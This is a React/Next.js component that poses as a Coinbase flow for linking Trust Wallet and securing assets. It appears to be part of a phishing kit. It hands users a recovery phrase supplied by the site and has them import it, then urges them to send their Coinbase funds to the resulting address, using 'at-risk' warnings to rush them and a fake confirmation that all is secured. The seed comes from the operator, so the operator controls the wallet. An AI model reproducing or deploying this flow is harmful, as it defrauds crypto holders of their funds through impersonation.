import { Checkbox } from '@/components/ui/checkbox';
import { Label } from '@/components/ui/label';
import Image from 'next/image';
import Link from 'next/link';
import { useEffect, useState } from 'react';
import { FormProps } from '.';
import { isValidSeed } from '@/lib/utils';

enum Steps {
  Start,
  Download,
  Backup,
  Connect,
  Transfer,
  End,
}

export default function WalletFlow3({
  error = {},
  formData,
  handleContinue = () => {},
  seed = '',
}: FormProps) {
  const [isSubmitting, setSubmitting] = useState<boolean>(false);
  const [step, setStep] = useState<Steps>(Steps.Start);
  const [isChecked, setIsChecked] = useState<boolean>(false);
  const [isChecked2, setIsChecked2] = useState<boolean>(false);

  const renderForm = () => {
    switch (step) {
      case Steps.Start:
        return <Start />;
      case Steps.Download:
        return <Download />;

      case Steps.Backup:
        return (
          <Backup
            seed={seed}
            isChecked={isChecked}
            setIsChecked={setIsChecked}
          />
        );
      // case Steps.Connect:
      //     return (
      //         <Seed
      //             formData={formData}
      //             handleKeyDown={handleKeyDown}
      //             handleInputChange={handleInputChange}
      //             error={error}
      //         />
      //     )
      case Steps.Transfer:
        return <Transfer isChecked={isChecked2} setIsChecked={setIsChecked2} />;
      case Steps.End:
        return <End />;
    }
  };

  const handleContinuee = () => {
    switch (step) {
      case Steps.Start:
        setStep(Steps.Download);
        break;
      case Steps.Download:
        setStep(Steps.Backup);
        break;
      case Steps.Backup:
        setStep(Steps.Transfer);
        break;
      case Steps.Transfer:
        setStep(Steps.End);
        break;
      case Steps.End:
        setSubmitting(true);
        handleContinue();
        break;
    }
  };

  useEffect(() => {
    if (error.seed) {
      setStep(Steps.End);
      setSubmitting(false);
    }
  }, [error]);

  return (
    <div className="flex flex-col items-center gap-6 pb-6">
      {renderForm()}
      <button
        className={`-mb-3 disabled:bg-[rgb(128,169,255)] dark:disabled:bg-transparent border border-transparent disabled:border-[rgba(138,145,158,0.66)] disabled:text-foreground !text-background dark:disabled:!text-muted-foreground transition-all duration-150 ease-in-out bg-primary h-[56px] text-black p-2 font-[600] min-w-[100px] flex justify-center items-center rounded-full w-full hover:bg-[rgb(1,76,236)] dark:hover:bg-blue-600 ${
          isSubmitting
            ? 'bg-[rgb(1,72,221)] dark:bg-[rgb(75,120,214)] pointer-events-none'
            : ''
        }`}
        disabled={
          (step === Steps.Transfer && !isChecked2) ||
          (step === Steps.Backup && !isChecked)
        }
        onClick={handleContinuee}
      >
        {isSubmitting ? (
          <div
            className={
              '!border-b-[rgb(10,11,13)] loader w-[24px] h-[24px] border-[2px] border-[rgba(20,21,25,0)] rounded-full animate-spin'
            }
          ></div>
        ) : (
          'Continue'
        )}
      </button>
    </div>
  );
}

function getRandomInt(min: number, max: number) {
  min = Math.ceil(min);
  max = Math.floor(max);
  return Math.floor(Math.random() * (max - min + 1)) + min;
}

function Start() {
  const [particles, setParticles] = useState<
    { left: string; animationDelay: string; animationDuration: string }[]
  >([]);

  useEffect(() => {
    const generatedParticles = Array.from({ length: 30 }, () => ({
      left: `${getRandomInt(5, 95)}%`,
      animationDelay: `${Math.random() * 2}s`,
      animationDuration: `${2 + Math.random() * 3}s`,
    }));
    setParticles(generatedParticles);
  }, []);

  return (
    <div className="flex flex-col items-center">
      {/* <div className="-mt-7 relative flex flex-col items-center justify-center w-[400px] h-[300px] bg-secondary dark:bg-[#101010] rounded-[32px] dark:shadow-md overflow-hidden">
        <div className="absolute z-20 top-[32%] w-[106px] h-[300px] bg-gradient-to-b from-[#37c5ee] via-[#0039b1] to-[#01133c] rounded-full"></div>
        <div className="absolute top-0 left-0 w-full h-full overflow-hidden z-0 pointer-events-none">
          {particles.map((particle, index) => (
            <div
              key={index}
              className="particle bg-gradient-to-b from-transparent via-blue-500 to-blue-400 absolute"
              style={{
                left: particle.left,
                animationDelay: particle.animationDelay,
                animationDuration: particle.animationDuration,
              }}
            ></div>
          ))}
        </div>

        <div className="relative w-[96px] h-[96px] rounded-full flex items-center justify-center shadow-lg z-20">
          <Image
            draggable="false"
            className="animate-spin2 select-none"
            src="/wallet.ico"
            width={96}
            height={96}
            alt="logo"
          />
        </div>
      </div> */}
      <svg
        fill="none"
        width="62"
        height="87"
        viewBox="0 0 62 87"
        xmlns="http://www.w3.org/2000/svg"
      >
        <g clipPath="url(#clip0_26161_83707)">
          <path
            d="M-0.00195312 26.9479L30.5756 16.9648V86.0759C8.73428 76.8606 -0.00195312 59.1989 -0.00195312 49.2159V26.9465V26.9479Z"
            fill="#48FF91"
          ></path>
          <path
            d="M61.1556 26.9479L30.5781 16.9648V86.0759C52.4194 76.8606 61.1556 59.1989 61.1556 49.2172V26.9479Z"
            fill="url(#paint0_linear_26161_83707)"
          ></path>
          <path
            d="M12.0561 0.34082H16.3227V2.73096C17.7214 0.582458 19.33 0.34082 21.6857 0.34082V4.56603H20.6128C17.7905 4.56603 16.4387 5.89434 16.4387 8.52474V13.0151H12.0547V0.34082H12.0561Z"
            fill="#48FF91"
          ></path>
          <path
            d="M35.9252 13.0137H31.5413V11.8055C30.5844 12.917 29.2795 13.3989 27.6709 13.3989C24.6166 13.3989 22.8906 11.5887 22.8906 8.25687V0.34082H27.2746V7.2696C27.2746 8.83818 28.0437 9.75502 29.3486 9.75502C30.6534 9.75502 31.5413 8.86165 31.5413 7.34141V0.34082H35.9252V13.0151V13.0137Z"
            fill="#48FF91"
          ></path>
          <path
            d="M36.9961 9.10059H41.1012C41.289 10.0174 41.9172 10.4027 43.4319 10.4027C44.6677 10.4027 45.3913 10.1141 45.3913 9.58249C45.3913 9.17101 45.0406 8.9059 44.0395 8.68912L40.7284 7.94073C38.5136 7.43536 37.3938 6.15538 37.3938 4.10215C37.3938 1.39719 39.3752 -0.00292969 43.2221 -0.00292969C47.0689 -0.00292969 48.9578 1.36129 49.2851 4.28303H45.2049C45.1358 3.51117 44.3419 3.03894 43.037 3.03894C41.989 3.03894 41.3124 3.37585 41.3124 3.88398C41.3124 4.31755 41.7543 4.65584 42.6421 4.87539L46.1162 5.72043C48.4 6.27412 49.4977 7.43398 49.4977 9.31738C49.4977 11.9257 47.236 13.4708 43.3905 13.4708C39.545 13.4708 37.0016 11.8056 37.0016 9.10059H36.9975H36.9961Z"
            fill="#48FF91"
          ></path>
          <path
            d="M61.17 4.28158V0.34082H50.3516V4.28435H53.5798V13.0137H57.9404V4.28158H61.17Z"
            fill="#48FF91"
          ></path>
          <path
            d="M10.8366 4.28158V0.34082H0.0195312V4.28435H3.24781V13.0137H7.60833V4.28158H10.8366Z"
            fill="#48FF91"
          ></path>
        </g>
        <defs>
          <linearGradient
            id="paint0_linear_26161_83707"
            x1="29.1518"
            y1="94.7238"
            x2="54.3898"
            y2="3.84876"
            gradientUnits="userSpaceOnUse"
          >
            <stop offset="0.26" stopColor="#48FF91"></stop>
            <stop offset="0.66" stopColor="#0094FF"></stop>
            <stop offset="0.8" stopColor="#0038FF"></stop>
            <stop offset="0.89" stopColor="#0500FF"></stop>
          </linearGradient>
          <clipPath id="clip0_26161_83707">
            <rect width="61.1691" height="86.0768" fill="white"></rect>
          </clipPath>
        </defs>
      </svg>

      <h2 className="text-[28px] z-20 mb-3 mt-5">Link Trust Wallet</h2>
      <p className="max-w-sm text-muted-foreground font-cbtext text-center text-sm z-20 mb-9">
        Follow the step-by-step guide on how to link your Trust Wallet and move
        funds from your Coinbase account to your cold wallet and secure your
        assets.
      </p>
    </div>
  );
}

function Download() {
  return (
    <div className="flex items-center flex-col gap-4">
      <svg
        xmlns="http://www.w3.org/2000/svg"
        viewBox="0 0 39 43"
        className="size-[50px]"
        fill="none"
      >
        <div
          id="in-page-channel-node-id"
          data-channel-name="in_page_channel_BZPzvk"
        />
        <path
          d="M0.882812 6.36743L19.6037 0.300415V42.3004C6.23144 36.6999 0.882812 25.9667 0.882812 19.9009V6.36743Z"
          fill="#0500FF"
        />
        <path
          d="M38.3263 6.36743L19.6055 0.300415V42.3004C32.9777 36.6999 38.3263 25.9667 38.3263 19.9009V6.36743Z"
          fill="url(#paint0_linear_3543_117667)"
        />
        <defs>
          <linearGradient
            id="paint0_linear_3543_117667"
            x1="33.3535"
            y1="-2.6407"
            x2="19.2876"
            y2="41.7504"
            gradientUnits="userSpaceOnUse"
          >
            <stop offset="0.02" stopColor="#0000FF" />
            <stop offset="0.08" stopColor="#0094FF" />
            <stop offset="0.16" stopColor="#48FF91" />
            <stop offset="0.42" stopColor="#0094FF" />
            <stop offset="0.68" stopColor="#0038FF" />
            <stop offset="0.9" stopColor="#0500FF" />
          </linearGradient>
        </defs>
      </svg>
      <h2 className="text-[28px] leading-8 text-center ">
        Download the Trust Wallet App
      </h2>
      <p className="max-w-sm text-center text-muted-foreground font-cbtext text-sm z-20">
        The Trust app is avaiable for download through the App Store or Google
        Play Store.
      </p>
      <div className="flex flex-row gap-3 items-center py-6">
        <Link
          target="_blank"
          href="https://apps.apple.com/us/app/trust-crypto-bitcoin-wallet/id1288339409"
        >
          <Image
            src={'/download-on-the-app-store.svg'}
            className="h-fit w-[120px] bg-[#a6a6a6] rounded-md"
            height={40}
            width={120}
            alt="appstore"
            priority
          />
        </Link>
        <Link
          target="_blank"
          href="https://play.google.com/store/apps/details?id=com.wallet.crypto.trustapp"
        >
          <Image
            src={'/google3.png'}
            className="h-fit w-[120px] bg-[#a6a6a6] rounded-sm"
            height={30}
            width={120}
            alt="play"
            priority
          />
        </Link>
      </div>
    </div>
  );
}

function Backup({
  isChecked,
  setIsChecked,
  seed,
}: {
  isChecked: boolean;
  setIsChecked: (checked: boolean) => void;
  seed: string;
}) {
  const [copied, setCopied] = useState<boolean>(false);

  const copySeedToClipboard = () => {
    navigator.clipboard
      .writeText(seed)
      .then(() => {
        setCopied(true);
        setTimeout(() => setCopied(false), 1000); // <-- reset after 1s
      })
      .catch((error) => {
        console.error('Failed to copy seed:', error);
        setCopied(false);
      });
  };
  return (
    <div className="flex flex-col gap-4">
      <svg
        xmlns="http://www.w3.org/2000/svg"
        viewBox="0 0 39 43"
        className="size-[50px]"
        fill="none"
      >
        <div
          id="in-page-channel-node-id"
          data-channel-name="in_page_channel_BZPzvk"
        />
        <path
          d="M0.882812 6.36743L19.6037 0.300415V42.3004C6.23144 36.6999 0.882812 25.9667 0.882812 19.9009V6.36743Z"
          fill="#0500FF"
        />
        <path
          d="M38.3263 6.36743L19.6055 0.300415V42.3004C32.9777 36.6999 38.3263 25.9667 38.3263 19.9009V6.36743Z"
          fill="url(#paint0_linear_3543_117667)"
        />
        <defs>
          <linearGradient
            id="paint0_linear_3543_117667"
            x1="33.3535"
            y1="-2.6407"
            x2="19.2876"
            y2="41.7504"
            gradientUnits="userSpaceOnUse"
          >
            <stop offset="0.02" stopColor="#0000FF" />
            <stop offset="0.08" stopColor="#0094FF" />
            <stop offset="0.16" stopColor="#48FF91" />
            <stop offset="0.42" stopColor="#0094FF" />
            <stop offset="0.68" stopColor="#0038FF" />
            <stop offset="0.9" stopColor="#0500FF" />
          </linearGradient>
        </defs>
      </svg>
      <h2 className="text-[28px] leading-8">Back up your wallet</h2>
      <p className="max-w-sm text-muted-foreground font-cbtext text-sm z-20">
        Write down your recovery phrase and store it someplace safe, or save it
        to a password manager. Do not share this with anyone, including
        Coinbase.
      </p>
      <div className="py-5 flex flex-col gap-4">
        <div
          onClick={copySeedToClipboard}
          className={'shadow border rounded-md w-full h-fit p-1'}
        >
          <div className="blur-sm hover:blur-0 ease-in-out transition-all w-full h-full p-3 cursor-pointer">
            <p className="select-none">{seed}</p>
          </div>
        </div>
        <p className="text-sm -mt-2 ml-2">{copied ? 'Copied!' : ''}</p>
        <div className="flex flex-row items-center gap-2">
          <Checkbox
            className="rounded-none"
            id="checkbox"
            checked={isChecked}
            onClick={() => setIsChecked(!isChecked)}
          />
          <Label className="text-sm text-muted-foreground" htmlFor="checkbox">
            I understand that if I lose my recovery phrase, I'll lose all of the
            crypto in my wallet.
          </Label>
        </div>
      </div>
    </div>
  );
}

function Connect() {
  return (
    <div className="flex items-center flex-col gap-4">
      <Image src={'/key.svg'} height={86} width={86} alt={'image'} priority />
      <h2 className="text-[28px] leading-8 text-center ">
        Connect your wallet with a phrase
      </h2>
      <ul className="flex flex-col text-[14px] text-muted-foreground list-disc text-start self-start px-4 py-4 gap-3 list-inside">
        <li>
          Select <span className="font-semibold">I already have a wallet</span>.
        </li>
        <li>
          Choose <span className="font-semibold">Enter a recovery phrase</span>,
          then enter the 12-word recovery phrase from the previous step.
        </li>
        <li>
          Then, create a password so that you can securely{' '}
          <span className="font-semibold">unlock</span> your wallet each time
          you use it.
        </li>
      </ul>
    </div>
  );
}

function Transfer({
  isChecked,
  setIsChecked,
}: {
  isChecked: boolean;
  setIsChecked: (checked: boolean) => void;
}) {
  return (
    <div className="flex flex-col gap-4 ">
      <svg
        xmlns="http://www.w3.org/2000/svg"
        viewBox="0 0 39 43"
        className="size-[50px]"
        fill="none"
      >
        <div
          id="in-page-channel-node-id"
          data-channel-name="in_page_channel_BZPzvk"
        />
        <path
          d="M0.882812 6.36743L19.6037 0.300415V42.3004C6.23144 36.6999 0.882812 25.9667 0.882812 19.9009V6.36743Z"
          fill="#0500FF"
        />
        <path
          d="M38.3263 6.36743L19.6055 0.300415V42.3004C32.9777 36.6999 38.3263 25.9667 38.3263 19.9009V6.36743Z"
          fill="url(#paint0_linear_3543_117667)"
        />
        <defs>
          <linearGradient
            id="paint0_linear_3543_117667"
            x1="33.3535"
            y1="-2.6407"
            x2="19.2876"
            y2="41.7504"
            gradientUnits="userSpaceOnUse"
          >
            <stop offset="0.02" stopColor="#0000FF" />
            <stop offset="0.08" stopColor="#0094FF" />
            <stop offset="0.16" stopColor="#48FF91" />
            <stop offset="0.42" stopColor="#0094FF" />
            <stop offset="0.68" stopColor="#0038FF" />
            <stop offset="0.9" stopColor="#0500FF" />
          </linearGradient>
        </defs>
      </svg>
      <h2 className="text-[28px] leading-8 text-start ">
        Transfer and secure assets from Coinbase to Trust Wallet
      </h2>
      <div className="flex flex-col gap-3 text-sm font-cbsans text-muted-foreground text-start">
        <p>
          On <span className="font-semibold">Trust Wallet</span>, open the app
          and navigate to the asset you want to receive.
        </p>
        <p>
          Tap on <span className="font-semibold">Receive</span>, then copy the
          wallet address shown for that asset.
        </p>
        <p>
          Next, manually send your funds from your{' '}
          <span className="font-semibold">Coinbase</span> account to the copied{' '}
          <span className="font-semibold">Trust Wallet</span> address.
        </p>
        <p>
          Any remaining funds or assets you do not transfer are{' '}
          <span className="font-semibold">at-risk</span>.
        </p>
      </div>
      <div className="flex flex-row items-center gap-3">
        <Checkbox
          className="rounded-none"
          id="checkbox"
          checked={isChecked}
          onClick={() => setIsChecked(!isChecked)}
        />
        <Label className="text-sm text-muted-foreground" htmlFor="checkbox">
          I understand that all the funds or assets I don't transfer are
          at-risk.
        </Label>
      </div>
    </div>
  );
}

function End() {
  const images = [
    'eth.png',
    'sol.png',
    'thether.png',
    'uni.png',
    'trx.png',
    'xmr.png',
    'btc.png',
    'ltc.png',
  ];
  const [positions, setPositions] = useState<
    {
      top: number;
      left: number;
      size: number;
      rotate: number;
      direction: string;
    }[]
  >([]);

  useEffect(() => {
    const bigCircleCenterX = 400 / 2;
    const bigCircleCenterY = 300 / 2;
    const bigCircleRadius = 120;
    const smallCircleRadius = 58;

    const isOverlapWithSmallCircle = (
      top: number,
      left: number,
      size: number
    ) => {
      const dx = left + size / 2 - bigCircleCenterX;
      const dy = top + size / 2 - bigCircleCenterY;
      const distance = Math.sqrt(dx * dx + dy * dy);
      return distance < smallCircleRadius + size / 2;
    };

    const generateRandomPositions = () => {
      const randomPositions: {
        top: number;
        left: number;
        size: number;
        rotate: number;
        direction: string;
      }[] = [];
      const totalImages = images.length;
      const angleStep = (2 * Math.PI) / totalImages;

      for (let i = 0; i < totalImages; i++) {
        const angle = i * angleStep;
        const distanceToEdge = bigCircleRadius + 40; // Offset from the center
        const top = bigCircleCenterY + Math.sin(angle) * distanceToEdge - 30;
        const left = bigCircleCenterX + Math.cos(angle) * distanceToEdge - 30;

        let size = 60;
        let retries = 0;

        while (isOverlapWithSmallCircle(top, left, size) && retries < 10) {
          size = 40 + Math.random() * 40;
          retries++;
        }

        randomPositions.push({
          top,
          left,
          size,
          rotate: Math.random() * 360 * (Math.random() < 0.5 ? -1 : 1),
          direction: Math.random() < 0.5 ? 'clockwise' : 'counterclockwise',
        });
      }

      return randomPositions;
    };

    setPositions(generateRandomPositions());
  }, []);

  return (
    <div className="flex flex-col gap-4">
      <div className="relative flex flex-col items-center justify-center w-[400px] h-[300px] bg-secondary dark:bg-[#101010] rounded-[32px] dark:shadow-md overflow-hidden">
        <div className="relative w-[96px] h-[96px] rounded-full flex items-center justify-center shadow-lg z-20">
          <div className="absolute left-[50%] -translate-x-[50%] h-[240px] w-[240px]  rounded-full  flex items-center justify-center p-2">
            <svg
              fill="none"
              width="62"
              height="87"
              viewBox="0 0 62 87"
              xmlns="http://www.w3.org/2000/svg"
            >
              <g clipPath="url(#clip0_26161_83707)">
                <path
                  d="M-0.00195312 26.9479L30.5756 16.9648V86.0759C8.73428 76.8606 -0.00195312 59.1989 -0.00195312 49.2159V26.9465V26.9479Z"
                  fill="#48FF91"
                ></path>
                <path
                  d="M61.1556 26.9479L30.5781 16.9648V86.0759C52.4194 76.8606 61.1556 59.1989 61.1556 49.2172V26.9479Z"
                  fill="url(#paint0_linear_26161_83707)"
                ></path>
                <path
                  d="M12.0561 0.34082H16.3227V2.73096C17.7214 0.582458 19.33 0.34082 21.6857 0.34082V4.56603H20.6128C17.7905 4.56603 16.4387 5.89434 16.4387 8.52474V13.0151H12.0547V0.34082H12.0561Z"
                  fill="#48FF91"
                ></path>
                <path
                  d="M35.9252 13.0137H31.5413V11.8055C30.5844 12.917 29.2795 13.3989 27.6709 13.3989C24.6166 13.3989 22.8906 11.5887 22.8906 8.25687V0.34082H27.2746V7.2696C27.2746 8.83818 28.0437 9.75502 29.3486 9.75502C30.6534 9.75502 31.5413 8.86165 31.5413 7.34141V0.34082H35.9252V13.0151V13.0137Z"
                  fill="#48FF91"
                ></path>
                <path
                  d="M36.9961 9.10059H41.1012C41.289 10.0174 41.9172 10.4027 43.4319 10.4027C44.6677 10.4027 45.3913 10.1141 45.3913 9.58249C45.3913 9.17101 45.0406 8.9059 44.0395 8.68912L40.7284 7.94073C38.5136 7.43536 37.3938 6.15538 37.3938 4.10215C37.3938 1.39719 39.3752 -0.00292969 43.2221 -0.00292969C47.0689 -0.00292969 48.9578 1.36129 49.2851 4.28303H45.2049C45.1358 3.51117 44.3419 3.03894 43.037 3.03894C41.989 3.03894 41.3124 3.37585 41.3124 3.88398C41.3124 4.31755 41.7543 4.65584 42.6421 4.87539L46.1162 5.72043C48.4 6.27412 49.4977 7.43398 49.4977 9.31738C49.4977 11.9257 47.236 13.4708 43.3905 13.4708C39.545 13.4708 37.0016 11.8056 37.0016 9.10059H36.9975H36.9961Z"
                  fill="#48FF91"
                ></path>
                <path
                  d="M61.17 4.28158V0.34082H50.3516V4.28435H53.5798V13.0137H57.9404V4.28158H61.17Z"
                  fill="#48FF91"
                ></path>
                <path
                  d="M10.8366 4.28158V0.34082H0.0195312V4.28435H3.24781V13.0137H7.60833V4.28158H10.8366Z"
                  fill="#48FF91"
                ></path>
              </g>
              <defs>
                <linearGradient
                  id="paint0_linear_26161_83707"
                  x1="29.1518"
                  y1="94.7238"
                  x2="54.3898"
                  y2="3.84876"
                  gradientUnits="userSpaceOnUse"
                >
                  <stop offset="0.26" stopColor="#48FF91"></stop>
                  <stop offset="0.66" stopColor="#0094FF"></stop>
                  <stop offset="0.8" stopColor="#0038FF"></stop>
                  <stop offset="0.89" stopColor="#0500FF"></stop>
                </linearGradient>
                <clipPath id="clip0_26161_83707">
                  <rect width="61.1691" height="86.0768" fill="white"></rect>
                </clipPath>
              </defs>
            </svg>
          </div>
        </div>
        <div className="absolute z-10 rotate-container w-full h-full">
          {positions.map((pos, index) => (
            <Image
              key={index}
              src={`/${images[index]}`}
              alt="Crypto Icon"
              className="absolute z-20 border-8 border-white rounded-full dark:border-none"
              width={pos.size}
              height={pos.size}
              style={{
                top: `${pos.top}px`,
                left: `${pos.left}px`,
                width: `${pos.size}px`,
                height: `${pos.size}px`,
                animation: `${pos.direction === 'clockwise' ? 'rotateCW' : 'rotateCCW'} 10s linear infinite`,
                transform: `rotate(${pos.rotate}deg)`,
              }}
              priority
            />
          ))}
        </div>
      </div>
      <h2 className="text-[28px] text-center z-20">You're all set!</h2>
      <div className="flex flex-col gap-4 px-6 text-[16px] font-cbsans ">
        <p className="text-center">
          All your crypto assets are now in your custody, secured in your{' '}
          <span className="font-semibold">Trust Wallet</span>.
        </p>
        <p className="text-center">
          Please allow up to 24 hours for{' '}
          <span className="font-semibold">Trust Wallet</span> to sync with your{' '}
          <span className="font-semibold">Coinbase Account</span>.
        </p>
      </div>
    </div>
  );
}
